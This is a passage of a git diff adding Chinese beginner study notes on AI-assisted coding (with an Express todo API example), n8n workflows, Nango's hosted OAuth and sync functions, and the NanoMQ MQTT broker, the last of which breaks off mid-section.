+代码示例——你发现 AI 写的代码有个 bug，告诉它修：
+
+```
+// 你读代码后发现的问题：
+"这个注册端点有个问题：Joi 校验通过之后，
+  数据库插入之前没有再检查邮箱唯一性。
+  两个请求同时进来都会通过校验，
+  但数据库 unique index 只会拦下第二个，
+  第一个会抛异常导致 500。
+  请在 insert 之前加一个 findOne 检查。"
+```
+
+AI 会根据你的具体描述，自动修好这个问题。
+
+## 实际案例演示
+
+下面用一个完整的例子，展示 2026 年用 AI 编程的典型流程。
+
+### 需求：写一个待办事项 API
+
+**第 1 步：描述需求**
+
+```
+帮我写一个 RESTful 待办事项 API，用 Express + MongoDB：
+- POST /todos 创建待办（字段：title, completed 默认 false）
+- GET /todos 列出所有待办
+- PATCH /todos/:id 修改 completed 状态
+- DELETE /todos/:id 删除待办
+- 用 async/await，做好错误处理
+- 写完单元测试
+```
+
+**第 2 步：AI 生成代码**
+
+AI 会输出完整的代码，包括：
+
+```javascript
+// models/Todo.js
+const mongoose = require('mongoose');
+
+const todoSchema = new mongoose.Schema({
+  title: { type: String, required: true, trim: true },
+  completed: { type: Boolean, default: false }
+}, { timestamps: true });
+
+module.exports = mongoose.model('Todo', todoSchema);
+```
+
+```javascript
+// routes/todos.js
+const express = require('express');
+const router = express.Router();
+const Todo = require('../models/Todo');
+
+// POST /todos
+router.post('/', async (req, res) => {
+  try {
+    const todo = await Todo.create({ title: req.body.title });
+    res.status(201).json(todo);
+  } catch (err) {
+    res.status(400).json({ error: err.message });
+  }
+});
+
+// GET /todos
+router.get('/', async (req, res) => {
+  try {
+    const todos = await Todo.find().sort({ createdAt: -1 });
+    res.json(todos);
+  } catch (err) {
+    res.status(500).json({ error: 'Server error' });
+  }
+});
+
+// PATCH /todos/:id
+router.patch('/:id', async (req, res) => {
+  try {
+    const todo = await Todo.findByIdAndUpdate(
+      req.params.id,
+      { completed: req.body.completed },
+      { new: true, runValidators: true }
+    );
+    if (!todo) return res.status(404).json({ error: 'Not found' });
+    res.json(todo);
+  } catch (err) {
+    res.status(400).json({ error: err.message });
+  }
+});
+
+// DELETE /todos/:id
+router.delete('/:id', async (req, res) => {
+  try {
+    const todo = await Todo.findByIdAndDelete(req.params.id);
+    if (!todo) return res.status(404).json({ error: 'Not found' });
+    res.json({ message: 'Deleted' });
+  } catch (err) {
+    res.status(500).json({ error: 'Server error' });
+  }
+});
+
+module.exports = router;
+```
+
+**第 3 步：你审核 + 跑测试**
+
+```bash
+# 你做的事情
+$ npm test
+# 发现测试挂了 → 告诉 AI 修 → AI 自动修好 → 再跑
+```
+
+**第 4 步：迭代完善**
+
+```
+// 你继续提需求：
+"再帮我加一个功能：GET /todos?completed=false 可以只查未完成的"
+```
+
+AI 自动在查询路由里加上过滤逻辑。
+
+## 踩过的坑
+
+作者分享了几条实战教训：
+
+1. **AI 会"自信地犯错"**——它生成的代码看起来没问题，但可能有逻辑漏洞。所以"读代码"的能力依然重要，只是从"逐行写"变成了"逐行审"。
+
+2. **上下文窗口不够时，要学会拆分**——一个 200 行的文件，你让它"重构"，它可能顾此失彼。拆成小块："先改 A 函数"、"再改 B 函数"，效果更好。
+
+3. **不要一次性让它改太多**——"帮我把整个项目从 JS 迁移到 TS"这种需求，AI 会乱。改成"先帮我配好 tsconfig，再把 utils/ 目录迁移过来，跑完测试确认没挂"，一步一步来。
+
+4. **测试是 AI 编程的锚点**——没有测试的情况下，你很难判断 AI 改坏了什么。有测试时，AI 修改之后跑一遍，有问题它自己就能修。
+
+## 对我学习编程的影响
+
+作为一个零基础学习者，这个转变意味着：
+
+- **不必从语法记忆开始**——你不需要记住所有 API 用法，AI 可以帮你查、帮你写
+- **但你需要学会"问对问题"**——能把"我要做一个 X"拆成"第一步做 A、第二步做 B"，这比背语法重要得多
+- **读代码的能力会越来越重要**——虽然你可能不手写每一行，但你需要判断 AI 写的对不对、好不好
+- **编程变成了"设计 + 沟通 + 审核"**——你的价值不在于打字多快，而在于理解问题、拆解问题、判断方案
+
+类比总结：
+
+> 以前学编程像学开车——要记离合器的位置、方向盘的转角、刹车的力度。
+> 现在学编程像学坐出租车——你只需要说"去机场"，司机（AI）知道怎么走，你的任务是确认"方向对吗"、"这是最快路线吗"。
+
+但别忘了：如果你永远不学怎么开车，你就永远只能坐出租车。所以**理解基本的编程概念依然重要**——只是你不再需要每次都自己握方向盘。
+
+## 一句话总结
+
+**2026 年的 AI 编程，核心能力不再是"你会不会写"，而是"你能不能说出你想要什么，并且判断 AI 给的是不是对的"。**
diff --git a/src/content/docs/projects/n8n.md b/src/content/docs/projects/n8n.md
new file mode 100644
index 000000000..86351e7be
--- /dev/null
+++ b/src/content/docs/projects/n8n.md
@@ -0,0 +1,270 @@
+---
+title: n8n 零基础学习笔记
+来源: https://github.com/n8n-io/n8n
+日期: 2026-06-13
+分类: 基础设施
+子分类: DevOps 与运维
+provenance: pipeline-v3
+---
+
+# n8n 零基础学习笔记
+
+## 什么是 n8n？
+
+想象一下，你每天要做的重复性工作：每天早上从邮箱里抓取新的客户留言，把它们整理成表格，然后发到 Slack 通知团队。这种"从 A 拿到数据，处理后送到 B"的事，n8n 就是帮你自动完成的工具。
+
+n8n（发音为 "n-eight-n"，意思是 "nodemation" = node + automation）是一个开源的**工作流自动化工具**。你可以把它理解成一个"数字流水线搭建器"——你不需要写复杂的程序，只要把不同的"功能模块"像搭积木一样连起来，就能让数据自动流转。
+
+它的口号是"给技术人员代码的自由度，给非技术人员无代码的速度"。
+
+## 核心概念
+
+### 1. Workflow（工作流）
+
+一个工作流就是一张画布，上面摆着各种节点，节点之间用线连着。线代表数据的流向。
+
+```
+[触发器] --> [获取数据] --> [处理数据] --> [发送通知]
+```
+
+这就是最简单的流水线：触发器启动流程，获取数据，处理数据，最后发送通知。
+
+### 2. Node（节点）
+
+节点是构成工作流的基本单元。每个节点只做一件事：
+
+- **触发器节点（Trigger）**：告诉 n8n"什么时候开始干活"。比如定时触发器（每天凌晨 9 点）、Webhook 触发器（有人访问某个网址时触发）、邮件触发器（收到新邮件时触发）。
+- **操作节点（Action）**：执行具体操作。比如"从 Google Sheets 读取数据"、"调用 OpenAI 生成摘要"、"发一封邮件"。
+- **逻辑节点（Logic）**：控制流程走向。比如"If"节点（条件判断，数据符合条件走一条路，不符合走另一条路）、"Split In Batches"节点（分批处理大量数据）。
+- **Code 节点**：允许你写 JavaScript 代码来做自定义处理。
+
+### 3. Connection（连线）
+
+连线代表数据从一个节点流向另一个节点。前一个节点的输出，就是后一个节点的输入。
+
+### 4. Execution（执行记录）
+
+每次工作流运行，n8n 都会记录下来：什么时候跑的、经过了哪些节点、每个节点处理了什么数据、有没有出错。你可以在界面上看到每一次执行的详细情况。
+
+### 5. Credential（凭证）
+
+如果你的工作流要连接 Gmail、Slack、GitHub 等服务，就需要配置凭证（API Key、OAuth Token 等）。n8n 会安全地存储这些凭证，不会泄露到工作流定义中。
+
+## 数据在 n8n 中的组织方式
+
+n8n 内部的数据结构是这样的：
+
+```json
+{
+  "json": {
+    "name": "张三",
+    "email": "zhangsan@example.com",
+    "amount": 150
+  },
+  "binary": {}
+}
+```
+
+每个节点接收到的数据是一个数组，数组里的每个元素叫一个 **item（数据项）**。每个 item 包含 `json` 字段（结构化数据）和 `binary` 字段（二进制文件数据）。
+
+理解这个结构很重要，因为后续所有操作都是围绕这个格式进行的。
+
+## 安装 n8n
+
+最简单的方式（需要 Node.js）：
+
+```bash
+npx n8n
+```
+
+或者用 Docker：
+
+```bash
+docker volume create n8n_data
+docker run -it --rm --name n8n \
+  -p 5678:5678 \
+  -v n8n_data:/home/node/.n8n \
+  docker.n8n.io/n8nio/n8n
+```
+
+启动后打开 `http://localhost:5678` 就能看到编辑器界面了。
+
+n8n 有四种使用方式：
+- **n8n Cloud**：官方托管，开箱即用
+- **自托管（Self-hosted）**：部署在自己的服务器上，数据完全掌控
+- **桌面版（Desktop）**：Mac/Windows/Linux 桌面应用，适合学习
+- **嵌入式（Embedded）**：把 n8n 嵌入到自己的产品中
+
+## 核心概念详解
+
+### 触发器（Triggers）
+
+触发器是工作流的"开关"。没有触发器，工作流就不会自动运行。
+
+常见的触发器类型：
+- **Manual Trigger（手动触发）**：点击按钮才运行，适合调试和测试
+- **Schedule Trigger（定时触发器）**：类似 cron，可以设置每天/每周/每月定时运行
+- **Webhook 触发器**：当外部系统向特定 URL 发送 HTTP 请求时触发
+- **RSS Feed Trigger**：当 RSS 源有新内容时触发
+- **Email Trigger**：当收到新邮件时触发
+
+### 条件分支（If 节点）
+
+If 节点让你可以根据条件把数据分流到不同的路径。比如：
+
+```
+订单金额 >= 1000  --> 走"VIP 审批"流程
+订单金额 <  1000  --> 走"自动通过"流程
+```
+
+### 合并（Merge 节点）
+
+当你有两个并行分支，想把它们的结果合在一起时，就用 Merge 节点。
+
+### 循环（Split in Batches 节点）
+
+当你要处理大量数据（比如 1000 条记录），而目标服务有速率限制（比如每分钟只能处理 100 条），Split in Batches 可以把数据分批处理。
+
+## 代码示例
+
+### 示例一：每日新闻摘要工作流
+
+场景：每天早上 8 点，从 Hacker News 抓取最新帖子，用 AI 生成摘要，发送到 Slack。
+
+```javascript
+// Code 节点中的 JavaScript 代码
+// 输入：来自 HTTP Request 节点的 Hacker News 热门帖子数据
+// 输出：每条帖子的标题 + 摘要
+
+const items = $input.all();
+
+// 遍历每一条帖子
+const output = items.map(item => {
+  const title = item.json.title;
+  const score = item.json.score;
+  const numComments = item.json.num_comments;
+
+  // 只处理分数超过 100 的帖子
+  if (score > 100) {
+    return {
+      json: {
+        title: title,
+        summary: `[热度 ${score}] ${title} (${numComments} 条评论)`,
+        score: score,
+        timestamp: new Date().toISOString()
+      }
+    };
+  }
+  return null;
+}).filter(Boolean);
+
+return output;
+```
+
+这个 Code 节点做的事情很简单：
+1. `$input.all()` 获取上一个节点传来的所有数据项
+2. 遍历每条帖子，检查分数是否超过 100
+3. 符合条件的生成摘要，不符合的过滤掉
+4. 返回处理后的结果
+
+### 示例二：客户留言自动处理工作流
+
+场景：当有人通过表单提交留言时，自动保存到数据库、发送确认邮件、并在团队频道通知。
+
+```javascript
+// Code 节点：处理并格式化客户留言
+// 输入：来自 n8n Form Trigger 的表单数据
+// 输出：格式化后的留言数据
+
+const form = $input.item.json;
+
+// 判断留言类型（基于关键词）
+let category = "一般咨询";
+const lowerText = form.message.toLowerCase();
+
+if (lowerText.includes("退款") || lowerText.includes("refund")) {
+  category = "退款申请";
+} else if (lowerText.includes("bug") || lowerText.includes("错误")) {
+  category = "Bug 报告";
+} else if (lowerText.includes("感谢") || lowerText.includes("thanks")) {
+  category = "反馈表扬";
+}
+
+// 生成唯一的工单编号
+const ticketId = `TK-${Date.now().toString(36).toUpperCase()}`;
+
+// 构建输出
+return [{
+  json: {
+    ticketId: ticketId,
+    name: form.name,
+    email: form.email,
+    category: category,
+    message: form.message,
+    priority: category === "Bug 报告" ? "高" : "普通",
+    createdAt: new Date().toISOString(),
+    status: "待处理"
+  }
+}];
+```
+
+这个工作流的节点连接顺序是：
+
+```
+[n8n Form Trigger]
+       |
+       v
+[Code 节点：分类 + 生成工单号]
+       |
+       +---> [Google Sheets：保存记录]
+       |
+       +---> [Send Email：发确认邮件]
+       |
+       +---> [Slack：发送通知到频道]
+```
+
+### 示例三：表达式引用（在节点间传递数据）
+
+n8n 的表达式语法让你可以直接在 UI 中引用其他节点的数据，不需要写代码。
+
+假设你在"HTTP Request"节点里调用了一个 API，返回了用户信息。你想在"Send Email"节点里使用返回的用户名字：
+
+```
+收件人: {{ $json.email }}
+称呼: {{ $json.name }}
+```
+
+如果还需要引用前面某个节点的数据（即使中间隔了几个节点）：
+
+```
+{{ $node["HTTP Request"].json["data"]["user"]["email"] }}
+```
+
+表达式还可以做简单的数据处理：
+
+```
+// 拼接字符串
+{{ $json.firstName + " " + $json.lastName }}
+
+// 条件判断
+{{ $json.amount > 1000 ? "VIP" : "普通" }}
+
+// 数组操作
+{{ $json.tags.join(", ") }}
+```
+
+## 关键能力总结
+
+1. **400+ 内置集成**：Gmail、Slack、GitHub、Google Sheets、OpenAI、Stripe、Salesforce 等主流服务都有现成节点，拖拽即可使用。
+2. **可视化编辑器**：画布式界面，节点之间连线，数据流向一目了然。
+3. **代码自由**：需要复杂逻辑时，随时插入 Code 节点写 JavaScript。
+4. **自托管**：数据完全在自己手里，可以用 Docker 一键部署。
+5. **AI 原生**：内置 LangChain 支持，可以直接构建 AI Agent 工作流，接入 OpenAI、Anthropic 等大模型。
+6. **Fair-code 协议**：源码可见、可自行部署，但不允许将 n8n 作为竞品服务出售。
+
+## 下一步建议
+
+1. 用 `npx n8n` 本地启动，花 10 分钟熟悉编辑器界面
+2. 从模板市场找一个简单的工作流（比如"发送欢迎邮件"），导入后看看它的结构
+3. 尝试自己搭建一个"定时抓取 RSS 推送"的工作流
+4. 学习 Code 节点的 JavaScript 用法，这是突破无代码限制的钥匙
diff --git a/src/content/docs/projects/nango.md b/src/content/docs/projects/nango.md
new file mode 100644
index 000000000..0f98413a7
--- /dev/null
+++ b/src/content/docs/projects/nango.md
@@ -0,0 +1,263 @@
+---
+title: Nango — 产品集成的托管 OAuth 与函数运行时
+来源: https://github.com/NangoHQ/nango
+日期: 2026-06-13
+分类: 后端 API
+子分类: Web 后端
+难度: 中级
+provenance: pipeline-v3
+---
+
+## 是什么
+
+Nango 是**面向 SaaS 产品的第三方 API 集成平台**——帮你把「用户授权 Google / Salesforce / HubSpot」这件事，从「每个 API 各写一套 OAuth + token 刷新 + 分页同步」变成「统一接入层 + TypeScript 函数」。
+
+日常类比：
+
+- 你的产品要接 20 家 CRM，自己写集成像**在 20 个国家各开一家分公司**：每家都要办执照（OAuth App）、雇本地会计（token 刷新）、自己跑物流（分页拉数）。
+- Nango 像**国际快递公司总部**：你在总部下单（`triggerAction` / `startSync`），它替你处理各国清关（OAuth）、仓储（Connection 凭证加密存储）、定时补货（Sync 调度），你只收统一格式的包裹（Records / 统一模型）。
+
+和 [[unified]]（Merge.dev 等预置统一 API）不同，Nango 强调 **code-first**：统一模型由你自己定义，每家厂商的差异写在 Nango Function 里映射，而不是被迫接受别人的「最低公分母 schema」。
+
+## 为什么重要
+
+做 B2B SaaS 的人迟早会撞上「集成地狱」：
+
+1. **OAuth 不是「调个接口」**——每家 redirect URL、scope、refresh token 生命周期、PKCE 要求都不一样；token 过期后用户数据就 silently 断了。
+2. **读数据比写更难**——分页、增量游标、rate limit、删除检测、webhook 漏收，每个 provider 一套玩法。
+3. **凭证不能进你的业务库**——把 access token 明文塞进 Postgres，一次 SQL 注入就是全客户 CRM 裸奔。
+
+Nango 把这三件事收进一个平台：**Auth（Connect UI）→ Connection（凭证托管）→ Proxy / Functions（代发请求与同步逻辑）**。开源可自托管，也提供 Nango Cloud；文档宣称支持 **800+ API**，并提供 Node / Python / Go 等 SDK。
+
+典型使用场景：
+
+- 帮客户把工单从 Zendesk 同步进你的产品（RAG / 报表 / 触发器）
+- 在应用内嵌入「连接 Salesforce」按钮，授权后调用统一 `create-contact` Action
+- 给 AI Agent 暴露 MCP / tool calling，背后走已授权的 Connection
+
+## 核心概念
+
+先把名词对齐——后面读 SDK 和 Dashboard 都靠这张表。
+
+| 概念 | 含义 | 类比 |
+|------|------|------|
+| **Provider** | Nango 内置的 API 模板（如 `github`、`salesforce`） | 快递公司覆盖的国家 |
+| **Integration** | 你在环境里为某 Provider 创建的配置实例，有 `unique_key` | 某国分公司的运营牌照 |
+| **Connection** | 某个终端用户成功授权后的一条凭证记录 | 某客户在该国的报关账号 |
+| **Connect Session** | 短期 token，用于弹出 Connect UI 完成授权 | 一次性授权二维码 |
+| **Proxy** | 代发 HTTP 请求，自动注入凭证，你的后端不碰 token | 代报关发货 |
+| **Sync Function** | 定时/触发的拉数函数，结果写入 Records 缓存 | 定时从海外仓盘点入库 |
+| **Action Function** | 按需执行的写操作或单次读 | 下单、改地址 |
+| **Records** | Nango 侧的同步结果存储，带 cursor 增量读取 | 总部仓库台账 |
+| **Unified API** | 你自定义的稳定模型，多家 Provider 各自映射 | 统一 SKU 编码体系 |
+
+数据流可以概括成：
+
+```
+用户点击「连接 HubSpot」
+  → 后端 createConnectSession()
+  → 前端打开 Connect UI
+  → OAuth 完成，生成 Connection
+  → Sync 定时拉联系人 → Records
+  → Webhook 通知你的 App
+  → App 用 cursor 拉变更写入自有 DB
+```
+
+写回外部系统时走 **Action**；简单的一次性请求可以只用 **Proxy**，不必写 Function。
+
+## 快速上手：授权 + 触发 Action
+
+官方 Quickstart 用 GitHub 演示：Dashboard 里启用模板函数 `get-repository`，后端用 SDK 触发。
+
+### 1. 安装 SDK 并触发 Action
+
+```typescript
+import { Nango } from '@nangohq/node';
+
+const nango = new Nango({ secretKey: process.env.NANGO_SECRET_KEY! });
+
+// integrationId = Dashboard 里的 unique_key，如 github-getting-started
+// connectionId = 用户在 Connections 页授权后得到的 ID
+const repo = await nango.triggerAction(
+  'github-getting-started',
+  process.env.NANGO_CONNECTION_ID!,
+  'get-repository',
+  { owner: 'NangoHQ', repo: 'nango' }
+);
+
+console.log(repo.id, repo.full_name, repo.default_branch);
+```
+
+要点：
+
+- `secretKey` **只能放服务端**，相当于 root 权限。
+- `triggerAction` 在 Nango 托管运行时执行函数，**凭证不经过你的应用进程**。
+- Dashboard → Logs 可看 provider 原始请求/响应，排错比「黑盒 401」舒服得多。
+
+### 2. 嵌入 Connect UI：让用户自己授权
+
+产品里不能让用户去 Nango Dashboard 点按钮——要在你的设置页弹出授权。
+
+```typescript
+// Express / Next.js API Route 示例
+import { Nango } from '@nangohq/node';
+
+const nango = new Nango({ secretKey: process.env.NANGO_SECRET_KEY! });
+
+export async function createHubSpotConnectLink(endUserId: string) {
+  const { data } = await nango.createConnectSession({
+    tags: {
+      end_user_id: endUserId,
+      organization_id: `org_${endUserId}`,
+    },
+    allowed_integrations: ['hubspot'],
+  });
+
+  // 前端 redirect 到 data.connect_link，或嵌 Connect UI 组件
+  return {
+    connectLink: data.connect_link,
+    expiresAt: data.expires_at, // 约 30 分钟有效
+  };
+}
+```
+
+`tags` 会复制到 Connection 上，并出现在 auth webhook 里——**用它在回调里知道「是哪个租户连的」**。生产环境建议注册自己的 OAuth App（白标 callback 域名），测试可用 Nango 内置 developer app，但 scopes 固定且不适合上架 marketplace。
+
+授权成功后监听 webhook（`connection.created`），把 `connection_id` 存到你自己的 `integrations` 表，后续 Sync / Action 都靠它索引。
+
+## Proxy：不写函数也能代发请求
+
+如果只需要「拿已授权 token 调一个 REST endpoint」，Proxy 最省事：
+
+```typescript
+const issues = await nango.get({
+  providerConfigKey: 'github-prod',
+  connectionId: customerConnectionId,
+  endpoint: '/repos/NangoHQ/nango/issues',
+  params: { state: 'open', per_page: '10' },
+});
+
+// issues.data 即 GitHub 原始 JSON
+```
+
+Proxy 自动处理 base URL、Authorization header、429/5xx 重试。适合探索期或调用路径不在 Sync/Action 覆盖范围内的边缘接口。复杂分页、增量、落库仍应升级为 Sync Function。
+
+## Sync Function：把外部数据变成可消费的 Records
+
+Sync 是 Nango 的「读路径」主力——在托管运行时跑你写的 TypeScript，分页拉取、映射模型、`batchSave` 进缓存。
+
+下面是把 HubSpot 联系人映射到自建 `UnifiedContact` 的简化示例（基于官方 unified API 文档模式）：
+
+```typescript
+import { createSync } from 'nango';
+import * as z from 'zod';
+
+const UnifiedContact = z.object({
+  id: z.string(),
+  email: z.string().nullable(),
+  name: z.string(),
+  raw: z.unknown().optional(),
+});
+
+export default createSync({
+  description: 'HubSpot contacts → UnifiedContact',
+  frequency: 'every hour',
+  models: { UnifiedContact },
+  exec: async (nango) => {
+    for await (const page of nango.paginate<{ id: string; properties: Record<string, string> }>({
+      endpoint: '/crm/v3/objects/contacts',
+      params: { properties: 'email,firstname,lastname' },
+      paginate: {
+        type: 'cursor',
+        cursor_path_in_response: 'paging.next.after',
+        cursor_name_in_request: 'after',
+        response_path: 'results',
+        limit_name_in_request: 'limit',
+        limit: 100,
+      },
+    })) {
+      const contacts = page.map((c) => ({
+        id: c.id,
+        email: c.properties.email ?? null,
+        name: [c.properties.firstname, c.properties.lastname].filter(Boolean).join(' '),
+        raw: c,
+      }));
+      await nango.batchSave(contacts, 'UnifiedContact');
+    }
+  },
+});
+```
+
+部署后用 SDK 启动调度：
+
+```typescript
+await nango.startSync('hubspot', ['contacts'], customerConnectionId);
+```
+
+Sync 跑完后 Nango 向你的 webhook URL 推送变更摘要；应用侧用 **cursor** 增量拉 Records，写入自有数据库或向量索引——避免每次全量扫 10 万行联系人。
+
+设计建议（文档反复强调）：
+
+- 能增量就增量，配合 **checkpoint** 长跑可恢复。
+- 统一模型的读（Sync）和写（Action）尽量共用 schema，减少应用层 `if (provider === 'x')`。
+- 映射不了的字段放 `raw` 或 connection metadata，别硬塞进统一列。
+
+## Unified API：多家 CRM，一个 `create-contact`
+
+当你要同时支持 Salesforce、HubSpot、Pipedrive，应用层只想调：
+
+```typescript
+await nango.triggerAction(integrationId, connectionId, 'create-contact', payload);
+```
+
+做法是为每个 Provider 各实现同名 Action，输入输出都是你的 `UnifiedContact`，内部各自调厂商 API。Sync 侧同样映射到 `UnifiedContact` 写入 Records。这是 **可选模式**——小集成用 Proxy 就够；客户开始比「你支持哪家 CRM」时再上统一层。
+
+## 与相近方案怎么选
+
+| 方案 | 强项 | 弱项 |
+|------|------|------|
+| **自己写 OAuth** | 零供应商、完全控制 | N 个 API × 维护成本爆炸 |
+| **Nango** | 凭证托管 + 函数运行时 + 800+ 模板 | 要学 Dashboard / Functions 模型 |
+| **预置 Unified API（Merge 等）** | 开箱统一 schema | 模型僵化，边缘字段要加价或做不了 |
+| **Zapier / Make** | 无代码连线 | 难嵌进多租户 SaaS 产品内核 |
+| **[[mcp-ts-sdk]] 工具** | Agent 调工具 | 不负责 OAuth 与持久同步 |
+
+Nango 2024–2026 年的叙事重心是 **「集成逻辑 = TypeScript Functions + AI 生成」**：用 CLI / MCP 让 Cursor、Claude Code 根据自然语言生成 Sync/Action，再部署到同一运行时——和「只卖统一 CRM schema」的竞品路线不同。
+
+## 自托管与合规
+
+- 仓库 MIT 开源：<https://github.com/NangoHQ/nango>
+- Cloud 宣称 SOC 2 Type II、HIPAA、GDPR；自托管可把凭证留在自有 VPC
+- OAuth **生产务必用自己的 developer app**——共享 app 适合 demo，有 scope 固定、被厂商吊销、无法 marketplace 上架等限制
+
+本地开发时 SDK 指向 `http://localhost:3003`，与自托管实例一致。
+
+## 实践清单（零基础第一周）
+
+1. 注册 Nango Cloud，在 Integrations 启用 `github-getting-started`
+2. Connections → Add Test Connection，记下 `connection_id`
+3. 用 `triggerAction` 跑通 `get-repository`（第一个代码示例）
+4. 写一个 API Route 调 `createConnectSession`，在浏览器走完 Connect UI
+5. 给环境配置 Webhook URL，打印 `connection.created` 事件
+6. 打开模板 Sync，观察 Records 与 cursor 拉取
+7. 读 Logs 里 provider 请求，理解 Proxy 与 Function 的分工
+
+## 常见坑
+
+- **把 secret key 打进前端**——Connect Session 也必须服务端创建。
+- **在业务 DB 存 access token**——违背平台设计；用 `connection_id` 索引即可。
+- **Sync 里一次拉全量不落 checkpoint**——大租户超时后从头再来，API quota 爆掉。
+- **测试用共享 OAuth app 上生产**——用户看到的是授权给 Nango 而非你的产品。
+- **每家 Provider 各写一套应用内模型**——失去 Unified API 意义；先定你自己的 schema 再写映射。
+
+## 延伸阅读
+
+- 官方文档索引：<https://nango.dev/docs/llms.txt>（给 AI / 脚本发现全站页面）
+- Auth 指南：OAuth app 注册、Connect UI、reconnect flow
+- Sync 指南：webhook、cursor、删除检测、分区 Sync
+- Unified APIs：多 Provider 共模实现模式
+- 相关笔记：[[supabase]]（自有数据落库）、[[mcp-ts-sdk]]（Agent 工具暴露）、[[authentik]]（若你同时做企业 SSO，职责与 Nango 不同——Authentik 管「谁登录你的产品」，Nango 管「你的产品代用户访问外部 SaaS」）
+
+---
+
+**一句话**：Nango 把「SaaS 集成」拆成 **托管授权 + 可选 Proxy + 可部署的 Sync/Action 函数**；你专注产品自己的统一模型与业务逻辑，OAuth 刷新和拉数调度交给平台。
diff --git a/src/content/docs/projects/nanobrowser.md b/src/content/docs/projects/nanobrowser.md
index 5b255c34e..6e1c5c913 100644
--- a/src/content/docs/projects/nanobrowser.md
+++ b/src/content/docs/projects/nanobrowser.md
@@ -151,7 +151,7 @@ registry.action({
 
 <!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
 
-- [[browser-use]] —— browser-use — 让 LLM 用「DOM 索引清单」操作浏览器的 Python agent 框架
+- [[browser-use]] —— browser-use — 用自然语言让 AI Agent 操控浏览器
 - [[midscene]] —— midscene — 用自然语言代替 selector 的浏览器自动化框架
 - [[patchright]] —— patchright — 给 Playwright 打 patch 让浏览器自动化在反 bot 站点继续工作
 - [[stagehand]] —— stagehand — Playwright 加 LLM 的混血框架
diff --git a/src/content/docs/projects/nanomq.md b/src/content/docs/projects/nanomq.md
new file mode 100644
index 000000000..deb8fe9ee
--- /dev/null
+++ b/src/content/docs/projects/nanomq.md
@@ -0,0 +1,313 @@
+---
+title: NanoMQ — 面向 IoT 边缘的超轻量 MQTT Broker
+来源: 'https://github.com/nanomq/nanomq'
+日期: '2026-06-13'
+子分类: 嵌入式
+分类: 操作系统
+难度: '初级'
+provenance: 'pipeline-v3'
+---
+
+## 是什么
+
+**NanoMQ** 是 [nanomq/nanomq](https://github.com/nanomq/nanomq) 维护的开源 **MQTT 消息代理（broker）**，由 EMQ Edge Computing 团队开发，现为 **LF Edge** 孵化项目。它面向 **IoT / IIoT 边缘** 与 **软件定义汽车（SDV）** 场景：在资源有限的 ARM 网关、车载 ECU、工业边缘盒子上，用极小的内存 footprint 跑完整的 MQTT 5.0/3.1.1 服务，并附带桥接、规则引擎、Webhook、HTTP 管理 API 等「边缘消息平台」能力。
+
+日常类比：**带多窗口的快递中转站**。
+
+传统单线程 broker（例如经典 Mosquitto 模型）像只有一个收银台的小驿站——包裹（MQTT 消息）一多，所有人排队等同一个窗口，磁盘持久化时整个站还可能「暂停营业」。NanoMQ 则在站内建了 **多个并行窗口（Actor + 多线程）**：收发、解析 MQTT、写盘、转发云端各自有专职「岗位」，通过内部消息传递协作。设备仍然只认 **topic 名字**（像快递单上的分区码），不用知道谁在听；但中转站本身能在多核 CPU 上 **横向扩展吞吐**，弱网断线时还能 **先落库、后补发**。
+
+与 [[mosquitto]] 的对比：两者都是 MQTT broker，Mosquitto 以 **简单、生态老、单进程单线程模型** 著称；NanoMQ 强调 **纯 C、POSIX 可移植、异步 I/O + SMP 多核**，官方 benchmark 称在多核上吞吐可达 Mosquitto 数倍量级，并内置 SQL 规则引擎、MQTT Bridge、离线缓存等边缘特性。若你只是树莓派上跑 Home Assistant 插件，Mosquitto 往往足够；若边缘要 **高并发 + 断网续传 + 边云桥接 + HTTP 运维**，NanoMQ 更对口。
+
+与 [[nginx]] 不同：Nginx 终止 HTTP 请求；NanoMQ 维护 **长连接 MQTT 会话**，按 pub/sub 语义路由字节流，还可把 MQTT 桥到 QUIC、WebSocket、ZeroMQ 等。
+
+## 解决什么问题
+
+边缘侧常见矛盾：**设备多、带宽贵、网络抖、CPU 核数在涨，但内存仍只有几百 MB**。HTTP 轮询费电；单线程 broker 在持久化或桥接高峰时 latency 飙升。NanoMQ 的设计目标是把这些问题打包回答：
+
+| 痛点 | 没有合适 broker 时 | NanoMQ 的回应 |
+| --- | --- | --- |
+| 多核利用率低 | 单线程 broker CPU 只跑满一核 | 内置 Actor 任务层 + 可配置 `parallel` 工作上下文 |
+| 弱网/断线丢数据 | 仅内存转发，断网即丢 | SQLite/文件持久化，恢复后自动续传 |
+| 边缘只连 MQTT，云上要 EMQX | 手写同步程序 | 内置 **MQTT Bridge**（含 QUIC 桥可选编译） |
+| 要在边缘过滤/transform | 另起服务消费再写回 | **SQL 规则引擎** + Webhook + 与 eKuiper 集成 |
+| 运维要改配置、看状态 | 只能 SSH 改文件重启 | **HTTP REST API**、环境变量、Docker 友好 |
+| 固件资源极小 | 重量级中间件装不进 | 最小特性集 footprint 可至 **200KB 级**（官方宣称） |
+
+核心问题：**如何在嵌入式 Linux / 车载网关里，用 MQTT 标准协议做高吞吐、可观测、可桥接边云的消息枢纽？**
+
+## 核心概念
+
+### 1. Broker / Client / Topic：MQTT 三角（与标准一致）
+
+```
+Publisher ──publish──►  NanoMQ Broker  ──deliver──► Subscriber(s)
+              topic: factory/line1/temp         subscribe: factory/+/temp
+```
+
+- **Broker**：`nanomq` 进程，默认 TCP **1883**（MQTT），常见还有 **8083**（WebSocket）、**8883**（TLS）。
+- **Client**：`nanomq_cli`、MQTTX、NanoSDK、Paho 等任意标准 MQTT 客户端。
+- **Topic**：层级字符串 `/` 分隔；broker 按订阅匹配转发，不解释业务含义。
+
+### 2. 分层架构：从硬件到应用
+
+官方架构可粗分为五层（便于理解代码与性能调优）：
+
+| 层级 | 职责 |
+| --- | --- |
+| Platform adaptor | 适配 POSIX / 不同 OS·芯片，避免平台锁死 |
+| Task Layer（Actor） | 线程级并行，把计算拆成 Actor，消息驱动调度 |
+| Transport Layer | 管理 TCP/UDP 管道，**零拷贝** 降低内存 |
+| Protocol Layer | 解析 MQTT 字节流、in-flight 窗口、MQTT 5 属性 |
+| Application Layer | Topic trie、规则引擎、Webhook、与桥接交互 |
+
+底层基于 **NNG（nanomsg-next-generation）** 的异步 I/O；每个连接由 `nano_work` 状态机在 **INIT → RECV → WAIT → SEND** 间循环，由 `nng_aio` 回调驱动，避免阻塞式线程 per connection。
+
+### 3. QoS、Retain、通配符
+
+与 MQTT 标准相同，不再赘述细节，只记三条实用规则：
+
